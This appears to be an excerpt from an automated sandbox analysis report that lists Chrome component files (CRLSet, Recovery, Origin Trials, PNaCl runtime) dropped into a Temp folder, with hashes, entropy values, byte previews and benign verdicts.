SHA-512: 428F34B9F3900878621A3BF243384F7767B0E0CFB4DE32E2459A9B0FB40F1A3508DC8368B196C5D6E9FDB99DE09986FF8DEB72CD132CAD26F7B3745F730B00E2

Malicious: false

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6ImNybC1zZXQiLCJ
yb290X2hhc2giOiJYQUV4b2hzbGlYZVk2a0lRVFFUOG9nNWV1dVdBR0RvT0J4YzJsUTFJYWFBIn0seyJwYXRoIjoibWFuaWZlc3QuanNvbiIsInJvb3RfaGFzaCI6InZpN
ndNekhvYzMtOHRxTFEzSW1tLUpOendnSWJZaVBHcXA0LXZTTHN5VjgifV0sImZvcm1hdCI6InRyZWVoYXNoIiwiaGFzaF9ibG9ja19zaXplIjo0MDk2fV0sIml0ZW1faWQ
iOiJoZm5rcGltbGhoZ2llYWRkZ2ZlbWpob2ZtZmJsbW5pYiIsIml0ZW1fdmVyc2lvbiI6IjczODUiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":
"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"kLIbe5Ve0HiG84Souke-6fYPxmgWh1UWYq31ljwLaWpvZQilfzsASyp7WyXl8LKT6wMtTlVBhWB4sYL
hL98CVA7xH831d5neyViPJcP8nO-N7S5PA6RI35Y8zFzAtlqgOovHWXd0LinAEFWOiGMqf5OGfW_0y1Z6y8KQiHVZpdy9A9THrLsEon1UVyCxIT_Qa91ig8-tothBEVIgB
2YAezy2DmnIuAktlylvAGkJuuiJ7ls3CoSrUk7LiRu19z-agrj

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 22084

Entropy (8bit): 7.832831478455255

Encrypted: false

SSDEEP: 384:d26XPKhMeW3UMWVPHc4m8eWDztoBWbv4g5bk8QzsvF5trdG9htt/HDsJBr:df3X4V/JYWntoEv4Kk8SgXrdG/Ps

C:\Users\user\AppData\Local\Temp\3960_1497513409\LICENSE

C:\Users\user\AppData\Local\Temp\3960_1497513409\_metadata\verified_contents.json

C:\Users\user\AppData\Local\Temp\3960_1497513409\crl-set
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MD5: FDB959E93457F656D619B3D6E66D1681

SHA1: 9CE726281A20C98F750526AE7F9A1C95D4B6E21E

SHA-256: 84508C44FA0394864E7B28A56D0D5389BCA8C62F1B4DB7FA6522FC18F7B6056E

SHA-512: 8B09F3C58F8C1A530EBB295B3FC7699DD79F899BF0A3EC8F09EE7A7D1BE183C5E9D26E1FCA129B589A83EA1081218136CEBFF6D3DD6C378FAD9D4B507B9AF
858

Malicious: false

Preview: ".{"Version":0,"ContentType":"CRLSet","Sequence":7385,"DeltaFrom":0,"NumParents":188,"BlockedSPKIs":["Jdoa1Yu/z7In2HI7GFfUwY57qnQXtPnv+TZrXoafizk=","l
i5LVLuYp+5dX+uWM/mR08MwDpUU2t57DU+CjHlPjoc=","yP3cdcsb27WMB7TqhHKH9iZlndZrwQomrdm1dbOgo40=","BN3pqpp59hSYaCMl+ghwJ2cH+5y
pU4QSC0aJMmhJT8k=","tbqN1/iVZMKInT1kU8hJmMd4JJGbZOoINapimGWRvlA=","wO0gU0a7veButWD1zuAqNjTiR0p+ds+PvvVjuxF90OM=","eBpM8ukkUvPuAdDD
gaQhTzkEFlw5CtvWH80RJE4Jstw=","/NdsyiNH5c1bOTR/Uc9DZUtpor/JBzZwpr5H2HAebg4=","lo26afv/Fb83YgiUMa3lp+rUt+rxvnACaBC8V9HGT24=","fNKVt1VEgIq9lAl
Gbwg3xarcAuM7YVDGZE3goJZZ8jw=","9Sk9R+041MMbLULe47WzrOl8omyirANl42Iu6AITH7s=","nFmjzK6kaZhCsGjPxSz5RdtRmGlXyDLNsYynOEn7ue4=","OUz/
WJ5okxLPwHHuC8Gf5MYGIWzlQ0Kd5tti5C27O8E=","NuqWEoyJg5+2IfitDh7gucIgb2Kre02ixnZYk8m3ztI=","pqyh7JgJzFtIIf+dKcXr5lGWC5Gx8ZzIm1Xvh4GKlQk=","MO/
kE4JHbDOA8C9+I+ZrovhnsFnuHqaHlrRBuFtdElY=","r1kVGOLmxg67/AkHr6pJvEBR1F5/IUq/7nUS7gD2Ye0=","6EnHF2yT32X2S2FpgjZuVmMReBK2+ivAyPqK6u5
Bgcw=","0x7DkoW3pTGdAVfbQg7YfHQ+Mzu8d/h3H3BGT0NqYEk=","h7/Yr

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 66

Entropy (8bit): 3.8655083258308114

Encrypted: false

SSDEEP: 3:SQacHcA7CKHLMWXSQ0OGxX:SQa2bZ5o

MD5: C2AA64674D14F0CB4E758DC27CFB3E15

SHA1: 146424B787DBD76425C5B8A5684252E9431DA971

SHA-256: DB42E1CEB6CD3D06587320971A135F1225B710A0AE7ABED4B29CC7A1F499A9D7

SHA-512: 55291EA6B148F9771BF9702D7E713745CA6017DFD6AB3ACCEE17C37CB75534CA081F482944ADFC7FCE6E5AB4DBB597E75086260D8684D4CA9FB943260A37102
2

Malicious: false

Preview: 1.560e2b9b3d0a0542a20f9dc2956d2e216bb0d9e683161cd275e4f7d55d25aaf2

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 192

Entropy (8bit): 4.785698439923914

Encrypted: false

SSDEEP: 3:rR6TAulhFphifFJXWAASeER4FgS1wpvxEeSWU4pv/8F/FxLj2RF2fcTZTotL:F6VlMOAdLS1aOWfB0NpK4aotL

MD5: B2057E1ABAF92B7CB9AC100C0DB6A2E2

SHA1: 4DA8ECC318DE961AD020DE06392617EDB343418F

SHA-256: BE2EB03331E8737FBCB6A2D0DC89A6F89373C2021B6223C6AA9E3EBD22ECC95F

SHA-512: 98E7D84AD9D5BA084B4CA5B3DB5429BA3661D477544CD69779FEA32699C730182586F47113906D5E81A000CF667E5041C75497DB5DA5D8840D93B33BD5381566

Malicious: false

Preview: {.  "manifest_version": 2,.  "name": "crl-set-16793830883117953855.data",.  "version": "7385",.  "imageName": "image.squash",.  "squash": true,.  "fsType": "squashfs",.  
"isRemovable": false.}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Google Chrome extension, version 3

Category: dropped

Size (bytes): 145035

Entropy (8bit): 7.995615725071868

Encrypted: true

SSDEEP: 3072:TdgEhmDf+E8VY0x81Rkc6L2oqzqkPEu30gZlc3G2ZknF:TyEhmDf+/+Fnkj6lEukgZyyF

MD5: EA1C1FFD3EA54D1FB117BFDBB3569C60

SHA1: 10958B0F690AE8F5240E1528B1CCFFFF28A33272

SHA-256: 7C3A6A7D16AC44C3200F572A764BCE7D8FA84B9572DD028B15C59BDCCBC0A77D

SHA-512: 6C30728CAC9EAC53F0B27B7DBE2222DA83225C3B63617D6B271A6CFEDF18E8F0A8DFFA1053E1CBC4C5E16625F4BBC0D03AA306A946C9D72FAA4CEB779F8FF
CAF

Malicious: false

C:\Users\user\AppData\Local\Temp\3960_1497513409\manifest.fingerprint

C:\Users\user\AppData\Local\Temp\3960_1497513409\manifest.json

C:\Users\user\AppData\Local\Temp\3960_162832123\Recovery.crx3
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Preview: Cr24..............0.."0...*.H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.|
1..n.<Fb..f..*Q1.....s..2..{*.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-*eu...b..........S'.....2.{.....'....+.'.."..Y.x.ISa...)....H.&92..?!..~..F.5."...n,.B.-|\.)..(..... ]G..j.-M)...
.C......o&L..0.K.....UtP.&.N...;..^w/a{)v...~KG;...?.1...k.c..D.U......J.6.`.G.5.x.k..[...i.A.@I^..I.<A. J...j.'.G.`.$q.N..Tdq]2]p.OF..#.#......'....8.3......0.."0...*.H.............0.............O..(
...':19..O/.>....=.....m.n\.z..q.....JW..F......+H.Z+KGO.9....8.....U...&.y....,$...?.Eo.....\f/.Z..+M8...B.3'..Y.r...X.AS?.~..k..n....... Z...&.G....."n..........l.0v.x#<....Lx,-.w..-..d.....J.pT..('
e~*{%kQ.Q......rI.....Z....v.N.....J.d_......rX.......w@.b.[.c../V.'c...!.~.k..}z...U.S..nC......@.......Y..#.D.z.....5&.1O...X=p..2.F..P.6yP..>{.....HBX.*.E5....y..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1765

Entropy (8bit): 6.027545161275716

Encrypted: false

SSDEEP: 48:p/hii6zkvVI1Jip2qRNHvakuQkCNFxdsGwmBKkgum91:Rz0kv6cNvaYNFwSEhug

MD5: 45821E6EB1AEC30435949B553DB67807

SHA1: B3CADEB17FE5B76B5DBB428B8D3A07B341F8B1BC

SHA-256: E5FAE91295BECF7F66BFA4BE1061CA5537ED763EB5D01485F23ECFB583304FEE

SHA-512: BCBE40CAFAA4B14566D91E361D8FB7F0288D5C459FA478AA4C575444DA4D406E1076FC0B3A31D4A9E5EE034F0FE15A0EFE8A8A52B838DE94B96D3E488D28F0
FE

Malicious: false

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJSZWNvdmVyeS5jcngzIiwicm9vdF9oYXNoIjoiaGdCR051SzhNR2NKaDlfNmZQaFdEWmpVYUFKeklzeDlJS21DUEZvb0dfUSJ9LHsicGF0aCI6Im1hbml
mZXN0Lmpzb24iLCJyb290X2hhc2giOiIwYXduVFBFQmdDRHkyV05hVVk3Um9mSWN3c3ZwNHFRNUxzZVMxVXRiVXY0In1dLCJmb3JtYXQiOiJ0cmVlaGFzaCI
sImhhc2hfYmxvY2tfc2l6ZSI6NDA5Nn1dLCJpdGVtX2lkIjoiaWhubGNlbm9jZWhnZGFlZ2RtaGJpZGpobmhkY2hmbW0iLCJpdGVtX3ZlcnNpb24iOiIxLjMuMzYuMTQxI
iwicHJvdG9jb2xfdmVyc2lvbiI6MX0","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"iFuMX_kOZ-zJ7KVu6Lxb3rHWZg
QvkZhv25x_SGlBiDV_okALrGbj6rUOWyNNNsHXMnT118XZmA696XR8qkr4dwT5Gvez-9gi-WYBY7XBkgo7v6NspGgJF89BNCeI-P9k-zBHOGgrf-fCEiAcoM7xCx9_f8ql
Ry7nhQPyjOIHn5eEJEir0uSu6gdqR9afnVZ3UoR-VOLdOBt7fA4ee38MP2ut5qWU50F5dvIezfKkTVDMHwztvcLCy6R9SVkdSYv6jwWGccYRl-aclvkkHu6SnbZGI7fmDZ
dkcBAxBHYEZZMmvb76ro4SO15GDyEVAo_Qf4trdrY_GyN_Bm73imCTjgtoGc

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 66

Entropy (8bit): 3.7900469623255675

Encrypted: false

SSDEEP: 3:SpOXzxlQ4BdPWfDL9c:SpOjDQFfVc

MD5: 2AE14F91312C4E8034366B09D49D5B18

SHA1: AD4933A5D838D0FA0B960C327A5039A9E8249642

SHA-256: 4F122332EF0F2BB490EF59619D3602C1A7277C0A7A19C132202DB4803A09BFA2

SHA-512: FB0CC467A4B8463F6A3BF42CDC11C23B34EB94A9397644B68714DCB819EE326BAE05022D59D23DC9907DF1E6928064D853FD0900BB6083417892D4D5A9BA7716

Malicious: false

Preview: 1.aeedb246d19256a956fedaa89fb62423ae5bd8855a2a1f3189161cf045645a19

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 195

Entropy (8bit): 4.682333395896383

Encrypted: false

SSDEEP: 3:rR6TAulhFphifFJ9LAG9Xg0XTFHqS1wP/pEeSWU4pv/8F/FxLj2RF2fcTZTotL:F6VlM90ggITgS1wnuWfB0NpK4aotL

MD5: 7A8E3A0B6417948DF4D49F3915428D7A

SHA1: 4FC084AABDB13483567D5C417C7ED8FD16726A80

SHA-256: D1AC274CF1018020F2D9635A518ED1A1F21CC2CBE9E2A4392EC792D54B5B52FE

SHA-512: 064D84A57B28C19AD10742859DA493D0826B47ADC632F6C623DFB4DE36D72A9D29BE98518061A9FFD42D99FCF01F27DE39CE74782B3A5ACBBE11DFDDEEAB5
9A1

Malicious: false

Preview: {.  "manifest_version": 2,.  "name": "ImprovedRecoveryComponentInner",.  "version": "1.3.36.141",.  "imageName": "image.squash",.  "squash": true,.  "fsType": "
squashfs",.  "isRemovable": false.}

C:\Users\user\AppData\Local\Temp\3960_162832123\_metadata\verified_contents.json

C:\Users\user\AppData\Local\Temp\3960_162832123\manifest.fingerprint

C:\Users\user\AppData\Local\Temp\3960_162832123\manifest.json

C:\Users\user\AppData\Local\Temp\3960_2122077170\_metadata\verified_contents.json
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1311

Entropy (8bit): 6.005142745622942

Encrypted: false

SSDEEP: 24:pZRj/flTDyV9yVmddLb7aoX6wcIWQ4vDzRS9KF6oXZEWGPnIQvo+M:p/haEAdV7ak63Rx0KF6keWiI6o+M

MD5: 015CC8BEA4A6A775AF3080882F5D9455

SHA1: E3728A7B6A32044FDACE9F7FC447997FDE32FB18

SHA-256: DCD27659E8C9BE4F9130B1CAA328162D305544D9799EF0A0675085A962CF7578

SHA-512: F6C8FEC2DEB717F361E77117F6FEABBF9B26EACE7402957D7D312F334A82176AD44DAC1A4124AF004C7CA6F3F6B73124740289B9570A85354DB3C1047751F237

Malicious: false

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoiZWJkaGhpRGxDcEhFOUc5RllLMEZTQ1B4RmFBOXBWMVdVYzdPaUVPSlpZSSJ9XSwiZm9ybWF0IjoidHJ
lZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6Imxsa2dqZmZjZHBmZm1oaWFrbWZjZGNibG9oY2NwZm1vIiwiaXRlbV92ZXJzaW9uIjoiMS4wL
jAuMTMiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"YQ3bA-EV7C3PaG_SnIb
fTSwU1AwZtGpsZ6QFPw-_VbUhBWySX2efppu8GX0fliZRHW6KEP7fjynCV_qNtcgrpl8BjSO-1nmB1KrigfT4kHv6uBh8h_SXujgGRjIPAXCWPLYKco-hqE9tTuQPKmzn_-
Zc9GgJpl5lEAsu6UTzjrvVmzKkgkbdcesMNSwbrvyDffx2nikl2p_7U3IkHNyd7hLpsCvZV8VqwCHwC6pOuggw5kmNjLwxmRnjA_Emy9mMXEUEofyh7EEOs9BaUNsokg7
qXuxkrMz4S0ja5VB6ZVmBO5Wlvexk3EXD-yDCykgMDxk2WZGpW1JtkYnpOMqgGQ"},{"header":{"kid":"webstore"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature
":"W9LRESuiylidkd-XDuFWN18wHXTE2O2h4LMHy

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 66

Entropy (8bit): 3.947126840193127

Encrypted: false

SSDEEP: 3:SuOcV6oDkEoVavUd1iSiXn:SBCDk5svU6SiX

MD5: 072D0D7C824A2889BEB0B9CEF0FD2197

SHA1: 985C0EC750CFFBBAE6B2F079E77149E434E9D517

SHA-256: BF69E3FA772C505E6E75E2A5086FF0396248246F319024745B80FC0FB39D93E7

SHA-512: A397B48EE93B964A38501846F876ABF2C29AF2150786DCF6E37BAA0EADF48DEE2F8601953F8AB7D4AD76CB5586D669CB1F11FF5A8FDE5B638F0B91413B358C0
3

Malicious: false

Preview: 1.ab8d70a60ce0fba1355fad4edab88fd4d1bccc566b230998180183d1d776992b

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 300

Entropy (8bit): 4.716626192856269

Encrypted: false

SSDEEP: 6:zeXC6WQpVyTJCAEIfd26VO9bIA6VDHs/C6wrhKXk7Vm01LwyAGI/zqSkhY:0eTJCAEQLO9hQADgK0711LqGika

MD5: 9569E205D5815A3D9E14DEE93B7717C3

SHA1: 020BD6A07EF64A304B07E3ADFDA4C4D5397534CD

SHA-256: 79B7618620E50A91C4F46F4560AD054823F115A03DA55D5651CECE8843896582

SHA-512: BE5EB17E769203E6A064326F227D21FFC1E8AA3F2684BD9786FAA4D0EAC944E4343608B1AEA25FDA15FFF88D9C41487907037FEF75DC4D1615A27C7041FC0F9
C

Malicious: false

Preview: {.  "description" : "Origin Trials public key updates and disabled features list",.  "manifest_version" : 2,.  "minimum_chrome_version" : "55",.  "name" : "Origin Trials 
Updates",.  "origin-trials" : null,.  "update_url" : "https://clients2.google.com/service/update2/crx",.  "version" : "1.0.0.13".}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 3034

Entropy (8bit): 5.876664552417901

Encrypted: false

SSDEEP: 48:p/hEc9q0S+UTKYM43z8nqMsfWRUWEADM/W9n7lqFkakzcVTGkcYTPi6zM:RGcg5z/jjjHgUnV278+aWLy4

C:\Users\user\AppData\Local\Temp\3960_2122077170\manifest.fingerprint

C:\Users\user\AppData\Local\Temp\3960_2122077170\manifest.json

C:\Users\user\AppData\Local\Temp\3960_526055686\_metadata\verified_contents.json
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MD5: 8B6C3E16DFBF5FD1C9AC2267801DB38E

SHA1: F5CADC5914DF858C96C189B092BC89C29407BBAA

SHA-256: FD986A547D9585E98F451B87CA85DEB4B61EE540C6FAC678D7BEDABF04653095

SHA-512: 37048EF8FADF62A26CAEC6EE90AC192429AB1E99424E5C68FACA90C0DAD68642C761FDCAC03FC38FA930841F91FA145A6943EC7F168D4F2FA426F1F092C2F5
02

Malicious: false

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJfcGxhdGZvcm1fc3BlY2lmaWMveDg2XzY0L3BuYWNsX3B1YmxpY19wbmFjbF9qc29uIiwicm9vdF9oYXNoIjoiVkNUSHNJVHNUSXVncWNhV2ctWHVpTU1
sdWloV1FSTE1sQnpTTGprdGhETSJ9LHsicGF0aCI6Il9wbGF0Zm9ybV9zcGVjaWZpYy94ODZfNjQvcG5hY2xfcHVibGljX3g4Nl82NF9jcnRiZWdpbl9mb3JfZWhfbyIsI
nJvb3RfaGFzaCI6ImxINWt2a1BvSVZZczZKVHhyOHc5Q2MxXzloVEJCX3lVSlF6VDZseVVNd0kifSx7InBhdGgiOiJfcGxhdGZvcm1fc3BlY2lmaWMveDg2XzY0L3BuYWN
sX3B1YmxpY194ODZfNjRfY3J0YmVnaW5fbyIsInJvb3RfaGFzaCI6IkVuLVFQTW1HUm1xbG9Ud1gzOTAzckpsMkw0R25sQmdET1FhZlNKaHJ4Nk0ifSx7InBhdGgiOiJfc
GxhdGZvcm1fc3BlY2lmaWMveDg2XzY0L3BuYWNsX3B1YmxpY194ODZfNjRfY3J0ZW5kX28iLCJyb290X2hhc2giOiJkT2lJVzRmdEdGNW9FY0k1UXYyYjBmd
XNrUlYyaUVtdmxhbmV6MlpFc3VvIn0seyJwYXRoIjoiX3BsYXRmb3JtX3NwZWNpZmljL3g4Nl82NC9wbmFjbF9wdWJsaWNfeDg2XzY0X2xkX25leGUiLCJyb290X2hhc2g
iOiIzNEU5QU9EMmpqLWNoMzZQZ0NVV0YtMUpYWVhVdlNGY1I4bks1aWppcWNjIn0seyJwYXRoIjoiX3B

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 507

Entropy (8bit): 4.68252584617246

Encrypted: false

SSDEEP: 12:TjLJ7qaVgPPd8bdzQBXefosmc5T9+n6e1Cetm1JXcAwA:TJ7jViPOd8wfHmZ6RP15

MD5: 35D5F285F255682477F4C50E93299146

SHA1: FB58813C4D785412F05962CD379434669DE79C2B

SHA-256: 5424C7B084EC4C8BA0A9C69683E5EE88C325BA28564112CC941CD22E392D8433

SHA-512: 59DF2D5F2684FACC80C72F9C4B7E280F705776076C9D843534F772D5A3D578BEE04289AEE81320F23FB4D743F3969EDF5BA53FEBBAC8A4D27F3BC53BCF271C3
E

Malicious: false

Preview: {.    "COMMENT": [.        "This file serves as a template for the resource info description used by ", .        "the NaCl Chrome plugin.  It is kept in the NaCl repository to 
prevent ", .        "hard-coding of NaCl-specific information inside the Chrome repository.".    ], .    "abi-version": 1, .    "pnacl-arch": "x86-64", .    "pnacl-ld-name": "ld.nexe", 
.    "pnacl-llc-name": "pnacl-llc.nexe", .    "pnacl-sz-name": "pnacl-sz.nexe", .    "pnacl-version": "5dfe030a71ca66e72c5719ef5034c2ed24706c43".}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

Category: dropped

Size (bytes): 2712

Entropy (8bit): 3.4025803725190906

Encrypted: false

SSDEEP: 48:b/5D5V5PK82aTS6aTTw0Do1DttoyDNsEA:b/hbVic1ZtLDNsE

MD5: 604FF8F351A88E7A1DBD7C836378AE86

SHA1: 9D8D89AE9F13D6306E619A4EAAD51EDE91A5F9F3

SHA-256: 947E64BE43E821562CE894F1AFCC3D09CD7FF614C107FC94250CD3EA5C943302

SHA-512: 85B1EDA4C473E00034EE627B7ABB894A77E521BC6A91A91A4A3744CA7511CB0AF10B9723D9ECC2CE3378DD70B659DF842D8C11875958CB77070CF01EC0A158
40

Malicious: false

Preview: .ELF..............>.................................@.....@.......................................PH.......,$J.l=....J.$<A[..@.A...M..A..ffffff..................PH......,$J.l=....J.$<A[..D..A...M..A..ffffff..............
....PH..1..,$J.l=....J.$<A[.......A...M..A..ffffff..................PH..SP..h.........fff...................h.........fff.............J.$<[.,$J.l=....J.$<.....f......................................................................
...............................................................................................................NaCl....x86-64...........zR..x......................@....C....C.........8.......@....C....C.........T.......@....C....C
.........p.......`....C....C..B...... .......................<...............@.......X.......................t........................clang version 3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-
clang.git ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pna

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

Category: dropped

Size (bytes): 2776

Entropy (8bit): 3.5335802354066246

Encrypted: false

SSDEEP: 48:b/5D5V5ej5ej5PjDdaTS6aTTw6DV1DtFouoyDOsTy:b/hbEEVJB1ZFhLDOsT

MD5: 88C08CD63DE9EA244F70BFC53BBCADF6

SHA1: 8F38A113A66B18BAA02E2C995099CF1145A29DAA

SHA-256: 127F903CC986466AA5A13C17DFDD37AC99762F81A794180339069F48986BC7A3

C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_pnacl_json

C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86_64_crtbegin_for_eh_o

C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86_64_crtbegin_o
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SHA-512: 78D2500493A65A23D101EC2420DC5F0CE8C75EFAC425C28547121643E4FB568E9D827EF2C0F7068159E043C86B986F29BF92C6BADC675F160B63C7B3512EB95F

Malicious: false

Preview: .ELF..............>.....................X...........@.....@.......................................PH.......,$J.l=....J.$<A[..@.A...M..A..ffffff..................PH......,$J.l=....J.$<A[..D..A...M..A..ffffff..............
....PH..1..,$J.l=....J.$<A[.......A...M..A..ffffff..................PH..,$J.l=....J.$<A[f........A...M..A..ffffff..................PH..,$J.l=....J.$<A[f........A...M..A..ffffff..................PH..SP..h.......
..fff.............J.$<[.,$J.l=....J.$<.....f.K...............`.......P.......................z...................................NaCl....x86-64...clang version 3.7.0 (https://chromium.googlesource.com
/a/native_client/pnacl-clang.git ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pnacl-llvm.git 7251d5b59fca15195c9
4a3a7da70f0081724448f)............zR..x......................@....C....C.........8.......@....C....C.........T.......@....C....C.........p.......@....C....C.................@....C....C.................@...

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

Category: dropped

Size (bytes): 1520

Entropy (8bit): 2.799960074375893

Encrypted: false

SSDEEP: 12:Bvx/ekjlM/NQQmTfR9yp9396QQmTfR9C6wRqD8MTDDw7lEOkSbfuEAXwX6BX2U8b:bDjO/NbmT3296bmT3Twk8qDwh7b7CD8

MD5: 75E79F5DB777862140B04CC6861C84A7

SHA1: 4DB7BDC80206765461AC68CEC03CE28689BBEE0C

SHA-256: 74E8885B87ED185E6811C23942FD9BD1FBAC9115768849AF95A9DECF6644B2EA

SHA-512: FE3F86E926759E71494F2060C4ED3C883EBCAF20CB129A5AD7F142766C33FAB10B5FABC3C7C938E0E895E27EA0AC03CBFE8D0EEABF5300A4AD07F67FD96CC
253

Malicious: false

Preview: .ELF..............>.................................@.....@.........................NaCl....x86-64.......clang version 3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-clang.git 
ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pnacl-llvm.git 7251d5b59fca15195c94a3a7da70f0081724448f
)...text..comment..bss..group..note.GNU-stack..eh_frame..shstrtab..strtab..symtab..data..note.NaCl.ABI.x86-64.......................................................!...................................
.............................................................................................................................................................../../../pnacl/support/crtend.c.__EH_FRAME_END__.........................
......................................................................@...............................................................H.......................................P.......................H...............................

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=7511538a3a6a0b862c772eace49075ed1bbe2377, stripped

Category: dropped

Size (bytes): 2163864

Entropy (8bit): 6.07050487397106

Encrypted: false

SSDEEP: 24576:HPHonIwYZJ0ykwVO7Owf31yJKzCtxO8RSV4lY+PbeHVxCtjFV4lBNeSAmfGqa+A7:HvSMRwf3SKmlY+PyPvnM2Gq+

MD5: 0BB967D2E99BE65C05A646BC67734833

SHA1: 220A41A326F85081A74C4BB7C5F4E115D1B4B960

SHA-256: C6C2D0C2FC3E38A9BFA19C78066439C2F745393F1FD1C49C3C6777F697222C76

SHA-512: 8EF8689E00E4B210A30444D18ED6247F364995ABEB2FD272064C3AF671EEDB4D9B8B67CA56F72FEBF8F56896D4EA7EC4B10CB445FFA1C710C1F312E9DA0E48
96

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 0%

Preview: .ELF..............>..... .......@.........!.........@.8...@......................................................................................................................................................{......W.................................
..............@.......@...............P.td.....h.......h.......h......4b......4b..............Q.td................................................................NaCl....x86-64..............GNU.u.S.:j..,w...u...#w.......
?......Y@.......@......1@......B@......P@.....@X@.....``@......h@.....pp@.....H.@.......@.......@.......@.......@.......@....`..@.......@.......A.......A......................p................@.......
.......?.......A.........5.....?5.5...?.5.....?......P9..............PC.......?......0@................aCoc...?..`.(..?.y.P.D.?<.s..O.u......$@.......@...............@........................................ ... ....... 
.......@...`...`...`...`...................`...`...`...`...`...`...`...................................`...

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: current ar archive

Category: dropped

Size (bytes): 40552

Entropy (8bit): 4.127255967843258

Encrypted: false

SSDEEP: 768:xlP+1fzyUNVU5LmKxeOnjpD5eA/eUnUUxvT:xlP+1ryYMTekpD5eAWjuvT

MD5: 0CE951B216FCF76F754C9A845700F042

SHA1: 6F99A259C0C8DAD5AD29EE983D35B6A0835D8555

SHA-256: 7A1852EA4BB14A2A623521FA53F41F02F8BA3052046CF1AA0903CFAD0D1E1A7B

SHA-512: 7C2F9BF90EB1F43C17B4E14A077759FA9DC62A7239890975B2D6FD543B31289DC3B49AE456CA73B98DE9AC372034F340C708D23D9D3AAB05CCBDABDC56A631
4E

Malicious: false

C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86_64_crtend_o

C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86_64_ld_nexe

C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86_64_libcrt_platform_a
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https://www.metadefender.com/#!/results/file/bzIyMDQwM29LMEVDNWVzU1NUcjVMWl9yN2U/regular/analysis


Preview: !<arch>./               0           0     0     0       624       `...................,...8...Z(..e...e...t...t...y`..y`..y`..y`..y`..y`..y`..y`..y`..y`..y`..y`..y`..y`........................fmod.fmodf.memcmp.
